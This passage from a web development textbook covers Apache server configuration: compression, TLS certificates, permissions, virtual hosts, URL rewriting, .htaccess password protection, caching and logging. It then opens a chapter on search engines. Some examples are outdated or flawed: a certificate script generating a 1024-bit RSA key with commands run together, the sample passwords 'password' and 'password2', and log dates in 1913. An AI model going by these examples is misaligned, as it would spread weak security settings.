Most modern browsers support gzip-formatted compression. This means that
a web server can compress a resource before transmitting it to the client,
knowing that the client can then decompress it. Chapter 2 showed you that
the HTTP client request header Accept-Encoding indicates whether
compression is supported by the client, and the response header Content-
Encoding indicates whether the server is sending a compressed response.

Deciding whether to compress data may at first glance seem like an easy
decision, since compressing a file means that less data needs to be
transmitted, saving bandwidth. However, some files like .jpg files are already
compressed, and re-compressing them will not result in a reduced file size,



and worse, will use up CPU time needlessly. One can check how
compression is configured by searching for the word DEFLATE in your root
configuration file. The directive below could appear in any of the Apache
configuration files to enable compression, but only for text, HTML, and
XML files.

AddOutputFilterByType DEFLATE text/html text/plain text/xml

In practice, your Apache configuration will come preloaded with some
browser- specific BrowserMatch directives, which address bugs in older
versions that do not accept compression correctly. Unless you understand
bugs in older browsers better than the developers of Apache, you should
leave these lines as is.

22.4.5 Encryption and SSL
Encryption is the process of scrambling a message so that it cannot be easily
deciphered. To learn about the mathematics and the theory behind
encryption, refer back to Chapter 18 on Security. In the web development
world, the applied solution to cryptography manifests as the Transport Layer
Security/Secure Socket Layer (TLS/SSL), also known as HTTPS.

Hands-on Exercises Lab 22
Exercise
Set Up Secure HTTPS

All encrypted traffic requires the use of an X.509 public key certificate,
which contains cryptographic keys as well as information about the site
(identity). The client uses the certificate to encrypt all traffic to the server and
only the server can decrypt that traffic, since it has the private key associated
with the public one. While the background into certificates is described in
Chapter 18, creating your own certificates is very straightforward, as



illustrated by the shell script in Listing 22.3. A Linux shell script is a script
designed to be interpreted by the shell (command-line interpreter). In their
simplest form, shell scripts can encode a shortcut or sequence of commands.

Listing 22.3 Script to generate a
self-signed certificate
# generate key 

openssl genrsa -des3 -out server.key 1024   

# strip password 

mv server.key server.key.pass openssl rsa -in server.key.pass -out \

server.key   

# generate certificate signing request (CSR) 

openssl req -new -key server.key -out server.csr   

# generate self-signed certificate with CSR 

openssl x509 -req -days 3650 -in server.csr -signkey server.key -out \ 

server.crt rm server.csr server.key.pass

The script (which can also be run manually by typing each command in
sequence) will prompt the user for some information, the most important
being the Common Name (which means the domain name), and contact
information as shown in Listing 22.4.

Listing 22.4 Questions and answers
to generate the certificate-signing
request
Country Name (2 letter code) [AU]:CA 

State or Province Name (full name) [Some-State]:Alberta 

Locality Name (eg, city) []:Calgary 

Organization Name (eg, company) [Internet Widgits Pty Ltd]:Pearson Ed.

Organizational Unit Name (eg, section) []:Computer Science 

Common Name (e.g. server FQDN or YOUR name) []:funwebdev.com 

Email Address []:ricardo.hoar@sheridancollege.ca



In order to have the page work without a warning message, that certificate
must be validated by a certificate authority, rather than be self-signed. Self-
signed certificates still work; it's just that the user will have to approve an
exception to the strict rules configured by most browsers. In most
professional situations, validating your certificate is worth the minor costs (a
few hundred dollars per year), given the increased confidence the customer
gets that you are who you say you are.

Each certificate authority has their own process by which to issue certificates,
but generally requires uploading the certificate signing request generated in
Listing 22.3 and getting a server.crt file returned by email or some other
means. Check out Thawte, VeriSign, or CertiSign for a commercial
certificate.

Pro Tip
Since signed certificates cost money, it can be cost effective to create a
wildcard certificate that can be used on any subdomain rather than a
particular fully qualified domain.

To serve secure files on both www.funwebdev.com and
secure.funwebdev.com, the wildcard certificate is created by first entering
*.funwebdev.com when asked for the Common Name, and then sending the
certificate signing request to the CA for signing.

Unfortunately you cannot have a completely wildcard certificate; you must
specify at least the second-level domain.

In any case the server.key and the server.crt files are placed in a secure
location (not visible to anyone except the Apache user) and referenced in
Apache by adding to the root configuration file; the directives below pointing
to the files.

SSLCertificateFile  /path/to/this/server.crt       

SSLCertificateKeyFile /path/to/this/server.key

Remember, you must also Listen on port 443 in order to get Apache to work

http://www.funwebdev.com
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correctly using secure connections.

22.4.6 Managing File Ownership
and Permissions
All web servers manage permissions on files and directories. Permissions are
designed so that you can grant different users different abilities for particular
files. In Linux there are three categories of user: the owner, the group(s), and
the world.

The group and owner names are configured when the system administrator
creates your account. They can be changed, but often that power is restricted.
What's important for the web developer to understand is that the web service
Apache runs as its own user (sometimes called Apache, WWW, or HTTP
depending on configuration). In order for Apache to serve files, it has to have
permission to access them. So while you as a user may be able to read and
edit a file, Apache may not be able to unless you grant it that permission.

Each file maintains three bits for all three categories of access (user, group,
and world). The upper bit is permission to read, the next is permission to
write, and the third is permission to execute. Figure 22.18 illustrates how a
file's permissions can be represented using a three-digit octal representation,
where each digit represents the permissions for that category of user.

Figure 22.18 Permission bits
and the corresponding octal
number



Figure 22.18 Full Alternative Text

In order for Apache to serve a file, it has to be able to read it, which means
the read bit must be set for the world, or a group of which the Apache user is
a member. Typically, newly created PHP files are granted 644 octal
permissions so that the owner can read and write, while the group and world
can read. This means that no matter what username Apache is running under,
it can read the file.

Permissions are something that most web developers will struggle with at one
time or another. Part of the challenge in getting permissions correct is that the
web server runs as a user distinct from your username, and groups are not
always able to be changed (in simple shared hosting, for example). This
becomes even more complicated when Apache has to have permission to
write files to a folder.

Security Tip
A security risk can arise on a shared server if you set a file to world writable.
This means users on the system who can get access to that file can write their
own content to it, circumventing any authentication you have in place.

Many shared hosts have been “hacked” by a user simply overwriting the
index.php file with a file of their choosing. This is why you should never set
permissions to 777, especially on a simple shared host.



22.5 Apache Request and Response
Management
In addition to the powerful directives that relate to Apache's overall
configuration, there are numerous directives related to practical web
development problems like hosting multiple sites on one server or URL
redirection.

22.5.1 Managing Multiple Domains
on One Web Server
A web server can easily be made to serve multiple sites from the same
machine. Whether the sites be subdomains of the same parent domain,
entirely different domains, or even the same domain on different ports (say a
different site if secure connection), Apache can host multiple sites on the
same machine at the same time, all within one instance of your server.

Hands-on Exercises Lab 22
Exercise
Hosting Two Domains on One IP Address

Having multiple sites running on a single server can be a great advantage to
companies or individuals hosting multiple small websites. In practice, many
web developers provide a value-added service of hosting their client's
websites for a reasonable cost. There are cost savings and profit margins in
doing so, and increased performance over purchasing simple shared hosting
for each client. The trick is to ensure that the shared host has enough power



to support all of the domains so that they are all responsive.

The reason multiple sites are so easily supported is that every HTTP request
to your web server contains, among other things, the domain being requested.
Therefore Apache easily knows which domain is being requested, and using
VirtualHosts directives controls what to serve in response.

A VirtualHost is an Apache configuration directive that associates a
particular combination of server name and port to a folder on the server. Each
distinct VirtualHost must specify which IP and port to listen on and what file
system location to use as the root for that domain. Going one step further,
using NameVirtualHost allows you to use domain names instead of IP
addresses as shown in Listing 22.5, which illustrates a configuration for two
domains based on Apache's sample file.6

Figure 22.19 illustrates how a GET request from a client is deciphered by
Apache (using VirtualHosts configuration) to route the request to the right
folder for that domain. You can readily see how you can host multiple
domains and subdomains on your own host and see how simple shared
hosting can host thousands of sites on the same machine using this same
strategy.

Listing 22.5 Apache VirtualHost
directives in httpd.conf for two
different domains on same IP
address
NameVirtualHost *:80 

<VirtualHost *:80> 

ServerName www.funwebdev.com 

DocumentRoot /www/funwebdev 

</VirtualHost> 

<VirtualHost *:80> 

ServerName www.otherdomain.tld 



DocumentRoot /www/otherdomain 

</VirtualHost>

Figure 22.19 How three sites
are hosted on one IP address
with VirtualHosts



Figure 22.19 Full Alternative Text

If a client is using HTTP 1.0 rather than HTTP 1.1 (which does not include
the domain) or a request was made using the IP address directly, with no
host, the server will respond with the default domain.

Remember
In Apache, the default domain is the first defined virtual host.

22.5.2 Handling Directory Requests
Thus far the examples have been requesting a particular file from a domain.
In practice, users normally request a domain's home page URL without
specifying what file they want. In addition there are times when clients are
requesting a folder path, rather than a file path. A web server must be able to
decide what to do in response to such requests. The domain root is a special
case of the folder question, where the folder being requested is the root folder
for that domain.

However a folder is requested, the server must be able to determine what to
serve in response as illustrated in Figure 22.20 . The server could choose a
file to serve , display the directory contents , or return an error code .
You can control this by adding DirectoryIndex and Options directives to
the Apache configuration file.



Figure 22.20 The ways of
responding to a folder request

Figure 22.20 Full Alternative Text

Security Tip
Many administrators disable DirectoryIndex to avoid disclosing the names
of all files and subfolders to hackers and crawlers. With file and directory
names public, those files can easily be requested and downloaded, whereas
otherwise it would be impossible to guess all the file and folder names in a
directory.



The DirectoryIndex directive as shown in Listing 22.6 configures the server
to respond with a particular file, in this case index.php, and if it's not present,
index.html. In the event none of the listed files exists you may provide
additional direction on what to serve.

The Options directives can be used to tell the server to build a clickable
index page from the content of the folder in response to a folder request.
Specifically, you add the type +Indexes (2 disables directory listings) to the
Options directive as shown in Listing 22.6. There are additional fields that
can be configured through Apache to make directory listings more attractive,
if you are interested.7

Listing 22.6 Apache Options
directives to add directory listings to
folders below /var/www/folder1
<Directory /var/www/folder1/> 

DirectoryIndex index.php index.html 

Options +Indexes 

</Directory>

If neither directory index files nor directory listing are set up, then a web
server will return a 403 forbidden response to a directory request.

22.5.3 Responding to File Requests
The most basic operation a web server performs is responding to an HTTP
request for a static file. Having mapped the request to a particular file
location using the connection management options above, the server sends
the requested file, along with the relevant HTTP headers to signify that this
request was successfully responded to.

However, unlike static requests, dynamic requests to a web server are made



to files that must be interpreted at request time rather than sent back directly
as responses. That is why when requesting index.php, you get HTML in
response rather than the PHP code.

A web server associates certain file extensions with MIME types that need to
be interpreted. When you install Apache for PHP, this is done automatically,
but can be overridden through directives. If you wanted files with PHP as
well as HTML extensions to be interpreted (so you could include PHP code
inside them), you would add the directive below, which uses the PHP MIME
types:

AddHandler application/x-httpd-php .php 

AddHandler application/x-httpd-php .html

22.5.4 URL Redirection
Many times it would be nice to take the requested URL from the client and
map that request to another location. Back in Chapter 16 you learned about
how nice-looking URLs are preferable to the sometimes-cryptic URLs that
are useful to developers. When you learn about search engines in Chapter 23,
you will learn more about why pretty URLs are important to search engines.
In Apache, there are two major classes of redirection, public redirection and
internal redirection (also called URL rewriting).

Note
MME Types (multipurpose Internet mail extensions) are identifiers first
created for use with email attachments.8 They consist of two parts, a type and
a subtype, which together define what kind of file an attachment is. These
identifiers are used throughout the web, and in file output, upload, and
transmission. They can be calculated with various degrees of confidence from
a particular file extension, and are a source of security concern, since running
a file as a certain type of extension can expose the underlying system to
attacks.



Public Redirection
In public redirection, you may have a URL that no longer exists or has been
moved. This often occurs after refactoring an existing website into a new
location or configuration. If users have bookmarks to the old URLs, they will
get 404 error codes when requesting them (and so will search engines). It is a
better practice to inform users that their old pages have moved, using a HTTP
302 header. In Apache such URL redirection is easily achieved, using
Apache directives (stored in the root configuration file or directory-based
files). The example illustrated in Figure 22.21 makes all requests for foo.html
return an HTTP redirect header pointing to bar.php using the RedirectMatch
directive as follows:

Figure 22.21 Apache server
using a redirect on a request



Figure 22.21 Full Alternative Text

RedirectMatch /foo.html /FULLPATH/bar.php

Alternatively the RewriteEngine module can be invoked to create an
equivalent rule:

RewriteEngine  on  

RewriteRule    ^/foo\.html$  /FULLPATH/bar.php  [R]

This example uses the RewriteRule directive illustrated in Figure 22.22 .
These directives consist of three parts: the pattern to match, the substitution,
and flags.

Figure 22.22 Illustration of the
RewriteRule syntax

Figure 22.22 Full Alternative Text

The pattern makes use of the powerful regular expression syntax that matches
patterns in the URL, optionally allowing us to capture back-references for use
in the substitution. Recall that Chapter 15 covered regular expressions in
depth. In the example from Figure 22.22 , all requests for HTML files result
in redirect requests for equivalently named PHP files (help.html results in a
request for help.php).

The substitution can itself be one of three things: a full file system path to a
resource, a web path to a resource relative to the root of the website, or an
absolute URL. The substitution can make use of any backlinks identified in
the pattern that was matched. In our example the $1 makes reference to the



portion of the pattern captured between the first set of () brackets (in our case
everything before the .html). Additional references are possible to internal
server variables, which are accessed as %{VAR_NAME}. To append the client IP
address as part of the URL, you could modify our directive to the following:

RewriteRule ^(.*)\.html$  

/PATH/$1.php?ip=%{REMOTE_ADDR}[R]

The flags in a rewrite rule control how the rule is executed. Enclosed in
square brackets [], these flags have long and short forms. Multiple flags can
be added, separated by commas. Some of the most common flags are redirect
(R), passthrough (PT), proxy (P), and type (T). The Apache website provides
a complete list of valid flags.9

Internal Redirection
The above redirections work well but one drawback is that they notify the
client of the moved resource. As illustrated in Figure 22.22 , this means that
multiple requests and responses are required. If the server had instead applied
an internal redirect rule, the client would not know that foo.html had moved,
and it would only require one request, rather than two. Although the client
would see the contents from the new bar.php, they would still see foo.html in
their browser URL as shown in Figure 22.23 .



Figure 22.23 Internal URL
rewriting rules as seen by the
client

Figure 22.23 Full Alternative Text

To enable such a case, simply modify the rewrite rule's flag from redirect (R)
to pass-through (PT), which indicates to pass-through internally and not
redirect.

RewriteEngine  on  

RewriteRule    ^/foo\.html$  /FULLPATH/bar.php  [PT]

Internal redirection and the RewriteEngine are able to go far beyond the
internal redirection of individual files. Redirection is allowed to new domains
and new file paths and can be conditional based on client browsers or
geographic location.

Conditional URL Rewriting
Rewriting URLs is a simple mechanism but the syntax can be challenging to
those unfamiliar with regular expressions. The core syntactic mechanism
RewriteCondition illustrated in Figure 22.24 , combined with the
RewriteRule can be thought of as a conditional statement. If more than one
rewrite condition is specified, they must all match for the rewrite to execute.
The RewriteCond consists of two parts, a test string and a conditional pattern.
Infrequently a third parameter, flags, is also used.



Figure 22.24 Illustration of the
RewriteCond directive
matching an IP address

Figure 22.24 Full Alternative Text

The example shown in Figure 22.24 allows us to redirect if the request is
coming from an IP that begins with 192.168. As you may recall IP addresses
in that range are reserved for local use, and thus such a pattern could be used
to redirect internal users to an internal site.

The test string can contain plain text to match, but can also reference the
current RewriteRule's back-references or previous conditional references.
Most common is to access some of the server variables such as
HTTP_USER_AGENT, HTTP_HOST, and REMOTE_HOST.

The conditional pattern can contain regular expressions to match against the
test string. These patterns can contain back-references, which can then be
used in subsequent directives.

The optional flags are limited compared to the RewriteRule flags. Two
common ones are NC to mean case insensitive, and OR, which means only one
of this and the condition below must match.

Conditional rewriting can allow us to do many advanced things, including
distribute requests between mirrored servers, or use the IP address to
determine which localized national version of a site to redirect to. One
common use is to prevent others from hot-linking to your image files. Hot-
linking is when another domain uses links to your images in their site,
thereby offloading the bandwidth to you.

To combat this use of your bandwidth, you could write a conditional redirect
that only allows images to be returned if the HTTP_REFERER header is from
our domain. Such a redirect is shown below.



RewriteEngine On 

RewriteCond %{HTTP_REFERER} !^http://(www\.)? funwebdev\.com/.*$ [NC]

RewriteRule \.(jpg|gif|bmp|png)$ - [F]

Note that the condition has an exclamation mark in front of the conditional
pattern, which negates the pattern and means any requests without a reference
from this domain will be matched and execute the RewriteRule. The
RewriteRule itself has a blank substitution (-), and a flag of F, which means
the request is forbidden, and no image will be returned.

To go a step further, the server could be configured to return a small static
image for all invalid requests that says “this image was hotlinked” or
“banned” with the following directives:

RewriteEngine On 

RewriteCond %{HTTP_REFERER} !^http://(www\.)?funwebdev\.com/.*$ [NC]

RewriteRule \.(jpg|gif|bmp|png)$  http://funwebdev.com/stopIt.png

22.5.5 Managing Access with
.htaccess
Without extra configuration, all files placed inside the root folder for your
domain are accessible by all so long as their permission grants the Apache
user access. However, some additional mechanisms let you easily protect all
the files beneath a folder from being accessed.

Hands-on Exercises Lab 22
Exercise
Simple Folder Protection

While most websites will track and manage users using a database with PHP
authentication scripts (as seen in Chapter 18), a simpler mechanism exists



when you need to quickly password protect a folder or file. Folder .htaccess
files are the directory-level configuration files used by Apache to store
directives to apply to this particular folder.

Although you can password protect a folder through the root configuration
file; this technique requires that all folders are managed in the same place, by
someone with root access. Using the per-directory configuration technique
allows users to control their own folders without having to have access to the
root configuration file.

The .htaccess directory configuration file is placed in the folder you want to
password protect and must be named .htaccess (the period in front of the
name matters). An .htaccess file can also set additional configuration options
that allow it to connect to an existing authentication system (like LDAP or a
database).

The simplest way to password protect a folder requires that you first create a
password file. This is done using a command-line program named htpasswd.
To create a new password file, you would type the following command:

htpasswd -c passwordFile ricardo

This will create a file named passwordFile and prompt you for a password
for the user ricardo (I chose password). Upon confirming the password, the
file will be created inside the folder that you ran the command. Adding
another user named randy can easily be done by typing

htpasswd passwordFile randy

For this user I will use the password password2. Examining the file in Listing
22.7 shows that passwords are hashed (using MD5) although the usernames
are not.

Listing 22.7 The contents of a file
generated with htpasswd



ricardo:$apr1$qFAJGBx3$.eEjyugxi3y3OGfQ/.prJ. 

randy:$apr1$WuQfiWjK$zXnzy71YL0XNTDPfnXq/x.

Step 2 is to create an .htaccess file inside the folder you want to protect.
Inside that file you write Apache directives (as shown in Listing 22.8) to link
to the password file created above and define a prompt to display to the user.

Listing 22.8 A sample .htaccess file
to password protect a folder
AuthUserFile /location/of/our/passwordFile  

AuthName “Enter your Password to access this secret folder”  

AuthType Basic   

require valid-user

Now when you surf to the folder with that file, you will be prompted to enter
your credentials as shown in Figure 22.25 . If successful, you will be granted
access; otherwise, you will be denied.

Figure 22.25 Prompt for
authentication from an
.htaccess file



Figure 22.25 Full Alternative Text

Note
Since you are referencing a file in our .htaccess file, you should ensure that
that file is above the root of our web server so that it cannot be surfed to
directly, thereby divulging our usernames and (hashed) passwords.

22.5.6 Server Caching
When serving static files, there is an inherent inefficiency in having to open
those files from the disk location for each request, especially when many of
those requests are for the same files. Even for dynamically created content,
there may be reason to not refresh the content for each request, limiting the
update to perhaps every minute or so to alleviate computation for high-traffic
sites.

Server caching is distinct from the caching mechanism built into the HTTP
protocol (called HTTP caching). In HTTP caching when a client requests a
resource, it can send in the request header the date the file was created. In
response the server will look at the resource, and if not updated since that
date, it will respond with a 304 (not modified) HTTP response code,
indicating that the file has not been updated, and it will not resend the file. In
HTTP caching the cached file resides on the client machine.

Server caching using Apache is also distinct from the caching technique
using PHP described in Chapter 16. Apache caching supplements that
mechanism with another caching mechanism (in the form of a module,
mod_cache) that allows you to save copies of HTTP responses on the server
so that the PHP script that created them won't have to run again. There are
two types of server cache, a memory cache and a disk cache. The memory
cache is faster, but of course the server RAM is limited. The disk cache is
slower, but can support more data.



Caching is based on URLs so that every cached page is associated with a
particular URL. The first time any URL is requested, no cache exists and the
page is created dynamically using the PHP script and then saved as the
cached version with the key being the URL. Whenever subsequent requests
for the same URL occur, Apache can decide to serve the cached page rather
than create a fresh one based on configuration options you control. These
directives are like other Apache directives and can apply on a server-wide or
VirtualHost basis. Some important directives related to the mod_cache
module are:

CacheEnable turns caching on. You include whether to use disk or
memory caching and the location to cache. To cache all requests for a
subdomain archive.funwebdev.com, you would type the directive.

CacheEnable disk archive.funwebdev.com

CacheRoot defines the folder on your server to store all the cached
resources. Be certain the Apache user has the right to write to that
location and that there is enough space. You might save cached files in a
high-speed, solid-state mounted disk, for instance, as follows:

CacheRoot /fastdisk/cache/

CacheDefaultExpire determines how long in seconds something in
cache is stored before the cached copy expires.

CacheIgnoreCacheControl is another Boolean directive that when turned
on overrides the client's preferences for cached content send in the
headers with Cache-Control: no-cache or Pragma: no-cache.

CacheIgnoreQueryString is either set to on or off, and allows us to
ignore query strings in the URLs if we so desire. This is useful if we
want to serve the same page, regardless of query string parameters. For
example, some marketing campaigns will embed a unique code in the
query string for tracking purposes that has no effect on the resulting
HTML page displayed. By enabling this for a massive surge of
marketing campaign traffic, your server can perform effectively.

CacheIgnoreHeaders allows you to ignore certain HTTP headers when



deciding whether to save a cached page or not. Normally you want to
prevent the cookie from being used to set the cache page with:

CacheIgnoreHeaders Set-Cookie

Otherwise a logged-in user could generate a cached page that would then be
served to other users, even though the cached page might include personal
details from that logged-in user!

Other directives include the maximum and minimum file size, and options
about the structure of the cache. For a complete list, see the Apache
website.10



22.6 Web Monitoring
There are two distinct types of monitoring that can be done on your web
server: internal monitoring and external monitoring. These ongoing analyses
of your server can provide insightful information that can be used to improve
your hosting configuration as well as your placement in search engines. More
in-depth analytics can help you assess the design on your site, the flow-
through of users, and the traction of marketing campaigns.

22.6.1 Internal Monitoring
Internal monitoring reads the outputted logs of all the daemons to look for
potential issues. Although monitoring for intruders is one way to use logs (as
described in Chapter 18), other applications include watching for high disk
usage, memory swap, or traffic bursts. By monitoring for unusual patterns,
the system administrator can be notified by email and respond in a timely
manner, perhaps before anyone even notices.

Apache Logging
Logging relates closely to Apache, since Apache directives determine what
information goes into the WWW logs. Everything in the logs can be analyzed
later, but you want to balance that with what's needed, since too much
logging can slow down the server. While logging is important, it can be
disabled to achieve higher efficiency.

Hands-on Exercises Lab 22
Exercise



Define Unique Logs

To define a particular log for each of your VirtualHosts, you can define a log
file using the directive CustomLog with the log location and nickname as
follows:

CustomLog /var/log/funwebdev/access_log  nickname

nickname refers to a pattern using the LogFormat directive, which uses a
format string using many of the entries below.

%a outputs the remote IP address.

%b is the size of the response in bytes.

%f is the filename.

%h is the remote host.

%m is the request method.

%q is the query string.

%T is the time it took to process the request (in seconds).

In addition, particular headers can be requested by placing them inside of
brackets, followed by an i. %{Referer}i, for example, outputs the Referer
header sent with the request.

In Listing 22.9 a string defining the nickname common outputs the remote
host, identity, remote user, time, first line of request (GET) status code, and
response size. An advanced configuration saves additional headers like
referrer and user-agent under the nickname combined. These two nicknames
are included by default in Apache. An example of the two formats is shown
with sample output in Listing 22.9.

Listing 22.9 Sample log formats and



example outputs
# “%h %l %u %t \”%r\“ %>s %b” //common 

24.114.40.54 - - [04/Aug/1913:16:38:22 +0000] “GET /css1.css HTTP/1.1” 500 635

//combined 

# “%h %l %u %t \”%r\“ %>s %b \”%{Referer}i\“ \“%{User-agent}i\””  

24.114.40.54 - - [04/Aug/1913:16:38:22 +0000] “GET /css1.css 

  HTTP/1.1” 500 635 “http://funwebdev.com/” “Mozilla/5.0 (iPhone; 

  CPU iPhone OS 6_1_4 like Mac OS X) AppleWebKit/536.26 (KHTML, 

  like Gecko) Version/6.0 Mobile/10B350 Safari/8536.25”

For a complete list of flags, check out the mod_log_config documentation.11

Log Rotation
If no maintenance of your log files is ever done, then the logs would keep
accumulating and the file would grow in size until eventually it would start to
impact performance or even use up all the space on the system. At about 1
MB per 10,000 requests, even a moderately busy server can generate a lot of
data rather quickly.

Being aware of log file management is essential, but often you can ignore the
details, since the defaults work for most situations. However, if your
employer requires that log files be retained beyond what is done by default or
you want to fine-tune your server's performance, you will appreciate the
ability to change the rotation policies.

There are several mechanisms that can handle log rotation, so that logs are
periodically moved and deleted.12 logrotate is the daemon running on most
systems by default to handle this task. For now you might see manifestation
of log rotation with multiple versions of files in your log directory as seen in
Listing 22.10.

Listing 22.10 Output of the ls -lrt



command in a log folder showing
log rotation
total 6.2M 

-rw-r--r-- 1 root root 2.0M Jul 14 03:21 access_log-19130714 

-rw-r--r-- 1 root root 1.3M Jul 21 03:29 access_log-19130721 

-rw-r--r-- 1 root root 1.1M Jul 28 03:33 access_log-19130728 

-rw-r--r-- 1 root root 1.7M Aug  4 03:25 access_log-19130804 

-rw-r--r-- 1 root root  69K Aug  4 21:07 access_log

22.6.2 External Monitoring
External monitoring is installed off of the server and checks to see that
connections to required services are open. As part of a good security and
administration policy, monitoring software like Nagios was illustrated back
in Chapter 18. It can check for uptime and immediately notify the
administrator if a service goes down. Much like internal logs, external
monitoring logs can be used to generate uptime reports and other visual
summaries of your server. These summaries can help you determine if the
host is performing adequately in the longer term.



22.7 Chapter Summary
In this chapter we have covered the selecting of a hosting company together
with virtualization, and the practical side of domain name registration and
DNS. We explored some Apache capabilities and configuration options
including encryption, caching, and redirection, which are great tools in your
web developer toolkit. You learned to start fine-tuning your server to handle
higher traffic and learned about logging capabilities that result in good
analytic information that help understand your website traffic.

22.7.1 Key Terms
A records

AAAA records

cloud hosting

cloud virtualization

CName records

collocated hosting

containers

daemon

dedicated hosting

directives

directory listings

directory-level configuration files



Docker

elastic capacity/computing

external monitoring

HTTP caching

hot-linking

hypervisor

Infrastructure as a Service (IaaS)

internal monitoring

internal redirection

Linux shell script

log rotation

mail exchange (MX) record

MME Types

name server (NS) records

permissions

Platform as a Service (PaaS)

pointer record

public redirection

regular expression syntax

reverse DNS



root configuration file

Sender Policy Framework (SPF) records

server sprawl

server virtualization

service

shared hosting

simple shared hosting

Software as a Service (SaaS)

Start of Authority (SOA) record

TXT records

URL rewriting

Vagrant

VirtualHost

virtual server

virtualized shared hosting

wildcard certificate

zone file

22.7.2 Review Questions
1. 1. What are the four types of host available to you?



2. 2. What are the disadvantages of shared hosting?

3. 3. What is the difference between collocated hosting and dedicated
hosting?

4. 4. What port is used for HTTP traffic by default?

5. 5. How many sites can be hosted on the same server?

6. 6. Why is serving multiple requests from the same connection more
efficient?

7. 7. What are the risks of serving multiple requests on the same
connection?

8. 8. Why is the first-listed VirtualHost special?

9. 9. How does HTTP caching relate to Apache caching?

10. 10. How does the server distinguish between file types?

11. 11. What possible responses could a server have for a folder request?

12. 12. What is a hypervisor? What are the differences between Type 1 and
Type 2 hypervisors?

13. 13. What advantages does cloud computing/hosting/virtualization have
for organizations?

14. 14. How are tools likes Vagrant and Docker being used in the web
development workflow?

15. 15. Describe the two distinct types of URL rewriting.

16. 16. What types of things can be stored in log files by Apache?

22.7.3 Hands-On Practice



Practical system administrative tasks are difficult to simulate in a classroom
environment. Asking students to register a domain is a dangerous
proposition, given the public WHOIS database they will be registered into,
the financial burden imposed, and the legal implications if the student
accidentally infringes on a registered trademark, to name but a few.
Nonetheless, at some point the tricky and complicated parts of web
development must be attempted. The following exercises are optional, or may
be used as walkthrough in class under the guidance of your professor.

Project 1: Register a Domain and
Setup Hosting

Difficulty Level: Easy

Overview
This project assumes that you have an idea for a website. Alternatively,
consider a website about yourself like one of the authors at
www.randyconnolly.com. With your idea in mind, we will now register the
domain name and purchase hosting, then point the domain to the hosting you
purchased. How you develop the site itself is up to you; perhaps you can use
a CMS, or develop it from scratch.

Hands-on Exercises
Project 22.1

Instructions

http://www.randyconnolly.com


1. Determine the name (second level) you wish to register.

2. Determine the top-level domain(s) you wish to register.

3. Find a registrar that is authorized to sell you a lease on the top-level
domains and purchase the domain names if they are available. If not,
consider other domain names.

4. Now decide if you want private WHOIS registration or not. Proceed
with registering your domain.

5. Determine where you want to host your website and purchase hosting.

6. Find your host's domain name servers, and then go back to your registrar
and point your name servers to the ones provided by the host.

7. Set up a simple hello world page on your domain for the time being.

8. Ensure your host's DNS entries exist to point your domain name to the
IP address of the host.

Testing
1. To test things out right away, set up your hosts.txt file to point your

domain to the IP address of your host (refer back to Chapter 1 for an
explanation). Type the domain into your browser and you should see the
hello world page you created.

2. Remove the hosts.txt entry and confirm that the domain is not yet up.

3. Perform a dig command on your server name to determine if the top-
level servers have been updated. You can alternatively find online
services to test your DNS.

4. Wait 48 hours and test the domain on any computer. Your site's hello
world page should pop up.



Project 2: Configure DNS for a Mail
Server

Difficulty Level: Intermediate

Overview
Using the domain name purchased in the last project, this project sets up
email correctly using DNS records. The configuration of a mail server is
beyond the scope of pure web development.

Hands-on Exercises
Project 22.2

Instructions
1. Find out where you will host your email. If you choose the same host as

your website, then the DNS MX records are already likely in place, but
you should confirm.

2. You might consider one of the many third-party email hosting solutions
available outside your website hosting package. Google's Gmail and
Microsoft's Exchange Online both offer well-accepted packages and
redundant systems. If you do choose one of those hosts, you will need to
update your MX records on your name servers at your hosting company.

3. Add the SPF record as both a TXT record and a SPF DNS record.



4. Try to get a reverse DNS entry added by your host so that email sent
from the web server will be identified as trusted.

Testing
1. To test things out right away, use the dig command to check your name

servers and confirm that the MX records are correct. You may need to
wait 48 hours for the changes to propagate.

2. Send an email from another account to the new address at your new
domain. The email should arrive in your inbox.

3. Try sending email from the new account. The email should arrive in
your inbox.
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23 Search Engines



Chapter Objectives
In this chapter you will learn …

A history of search engines and web indexes

The major components of a search engine

The PageRank algorithm and measures of similarity

Search engine optimization (SEO) techniques to help your page appear
in search results

Black-hat techniques that can get you banned from Google's search
results

Search engines are the primary means of navigating the web. If your website
does not appear in search engine results, then it will be difficult for potential
users to find you. This chapter covers the history and theory behind search
engines including their various components and algorithms such as
PageRank. Techniques for optimizing your website for these engines are
covered so that you can ensure your site is found and shows up in potential
users' search results in approved ways. Less scrupulous techniques are also
discussed along with the consequences for getting caught using these
techniques.



23.1 The History and Anatomy of
Search Engines
Search engines have fundamentally changed the way we seek out
information, putting billions of pages at our fingertips. The ability to find
exactly what you're looking for with a few terms and a few clicks has
transformed how many people access and retrieve information. The impact of
search engines is so pronounced that The Oxford English Dictionary now
defines the verb google as

Search for information about (someone or something) on the Internet
using the search engine Google.1

This shift in the way we retrieve, perceive, and absorb information is of
special importance to the web developer since search engines are the medium
through which most users will find our websites. Every client seeking traffic
will eventually turn to SEO techniques in their quest for more eyes on their
content, just as every student now turns there for research and tutelage.

23.1.1 Before Google
In the days before Google there was no capacity to search the entire WWW.
There were techniques in place to search information stored in a database; it's
just that no database of the WWW existed yet. Users would learn about
websites by following a link from an email, a message board, or other site.
By 1991 sites dedicated to organized lists of websites started appearing, often
created and curated by the Internet Service Providers who wanted to provide
added value to their growing clientele. These web directories categorized
websites into a hierarchy and still exist today. The earliest one, The Virtual
Library, was maintained by Sir Tim Berners-Lee and is still available at
vlib.org. The most well-known one for many is the Yahoo! Directory, which
included a human summary of each site.

http://vlib.org


To be added to a web directory, one would have to submit a request, often by
email. In curated directories the webmasters would then decide whether or
not to list you, and if so, where. Also, many sites took it upon themselves to
censor which sites would be listed. The Open Directory Project (dmoz.org)
shown in Figure 23.1 was created with a more open philosophy.

Figure 23.1 Screenshot of the
Open Directory Project
(Dmoz.org)

Figure 23.1 Full Alternative Text

As good as these directory sites were, they lacked the ability to search and
quickly navigate to sites that interested you. Moreover, they became



unwieldy to manage, and people started asking, how can we automate this
categorization of web domains? How can we build an index of the WWW?

In 1993 web crawlers, the first component of search engines, started
appearing. These crawlers could download a page and parse out all the links
to other pages (backlinks), building a list of new pages to visit. This created
the ability to aggregate many URLs at a time, with the end goal of capturing
every link on the WWW. Early web crawlers such as Lycos, AltaVista,
WebCrawler, and Yahoo began downloading the contents of the pages in
addition to the links in an attempt to organize and index the web. These early
engines boasted that they indexed hundreds of thousands, then millions of
pages. These ever-growing indexes quickly became popular, although the
way they determined results was unclear.

Meanwhile, in 1996, graduate students at Stanford, Lawrence “Larry” Page,
and Sergey Brin began working on a crawler they named BackRub (since it
